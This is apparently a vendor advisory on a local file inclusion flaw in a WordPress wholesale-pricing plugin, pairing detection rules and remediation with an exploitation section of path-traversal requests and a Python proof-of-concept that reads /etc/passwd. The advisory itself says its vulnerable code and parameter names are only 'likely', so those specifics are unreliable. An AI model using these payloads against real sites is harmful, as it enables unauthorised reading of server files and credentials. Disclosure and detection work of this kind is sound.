CVE-2025-60192

Executive Summary

CVE-2025-60192 is a PHP Local File Inclusion (LFI) vulnerability discovered in the Premmerce Wholesale Pricing for WooCommerce WordPress plugin, affecting versions up to and including 1.1.10. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The CVSS score is 7.5 (High), and no patch is currently available. This is a WordPress ecosystem issue, not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who have installed the plugin from any source are at risk. The lack of a patch means that supply chain security relies on manual removal or mitigation by site administrators.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Sensitive files can be read.
• Integrity (I): None (N) – No file modification is possible.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The ease of exploitation and potential for sensitive data exposure make this a critical risk for any WordPress site using the plugin.

Deep Dive & Mechanics

The vulnerability exists in the plugin's PHP code where a user-supplied parameter is used to construct a file path for inclusion via include() or require(). The plugin likely uses a parameter like page or tab to load specific template files. Without proper sanitization, an attacker can supply path traversal sequences (e.g., ../../) to include arbitrary files from the server.

Example vulnerable code pattern:

$page = $_GET['page'];
include( plugin_dir_path( __FILE__ ) . 'templates/' . $page . '.php' );

An attacker can exploit this by sending a request like:

/wp-admin/admin.php?page=../../../../../../etc/passwd%00

The null byte (%00) may be used to terminate the string, bypassing the .php extension append. Modern PHP versions may mitigate null byte injection, but path traversal alone can still work if the extension is not enforced.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Conceptual):

$file = $_GET['file'];
include( $file . '.php' );

Patched Code (Expected):

$allowed_files = array( 'dashboard', 'settings', 'reports' );
$file = $_GET['file'];
if ( in_array( $file, $allowed_files, true ) ) {
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $file . '.php' );
} else {
    // Handle error
}

The patch should implement a whitelist of allowed files and reject any input not matching the list.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install WordPress with the Premmerce Wholesale Pricing plugin version 1.1.10.
2. Ensure the plugin is activated.

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., page, tab, file).
2. Craft a request to read /etc/passwd:

   GET /wp-admin/admin.php?page=../../../../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. If the response includes the file content, the vulnerability is confirmed.

Proof-of-Concept (PoC) Code:

import requests

target = "http://target.com/wp-admin/admin.php"
params = {"page": "../../../../../../etc/passwd"}
response = requests.get(target, params=params)
if "root:" in response.text:
    print("Vulnerable! File inclusion successful.")
else:
    print("Not vulnerable or file not readable.")

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e/).
• Look for requests to /wp-admin/admin.php with unusual page parameters.

Defense:

• Disable or remove the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block path traversal attempts.
• Use file integrity monitoring to detect unauthorized changes.

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /etc/shadow, /wp-config.php
• URL Patterns: admin.php?page=../../../../
• Log Entries: Requests containing ../ or %2e%2e/ in the page parameter.
• Network Traffic: Outbound connections from the web server to unknown IPs (if RCE is achieved).

Detection Engineering

YARA Rule

rule CVE_2025_60192_LFI {
    meta:
        description = "Detects attempts to exploit CVE-2025-60192 in Premmerce Wholesale Pricing"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60192"
    strings:
        $path_traversal = /page=[^&]*\.\.\// nocase
        $php_include = /include\(.*\$_(GET|POST|REQUEST)/
    condition:
        $path_traversal or $php_include
}

Sigma Rule

title: CVE-2025-60192 LFI Attempt
id: 8f4b3c2a-1d5e-4f7b-9a0c-3e6d8b2f1a4c
status: experimental
description: Detects path traversal attempts targeting Premmerce Wholesale Pricing plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - '/wp-admin/admin.php'
        c-uri|contains|all:
            - 'page='
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-60192 - Premmerce Wholesale Pricing LFI Attempt";
    flow:to_server,established;
    content:"/wp-admin/admin.php"; http_uri;
    content:"page="; http_uri;
    pcre:"/page=[^&]*\.\.\//i";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove the plugin if not essential.
3. Check for signs of compromise (e.g., unexpected files, modified wp-config.php).

Long-term Mitigation:

• Monitor the plugin's official page for updates.
• Implement a Web Application Firewall (WAF) with rules to block path traversal.
• Apply the principle of least privilege to the web server user.
• Regularly audit WordPress plugins for vulnerabilities.

Workaround (if plugin must remain active):

• Add the following rule to .htaccess (Apache) or equivalent:

  RewriteCond %{QUERY_STRING} (page|file|tab)=.*\.\./ [NC]
  RewriteRule .* - [F,L]
  

Valters IT
Securing Digital Frontiers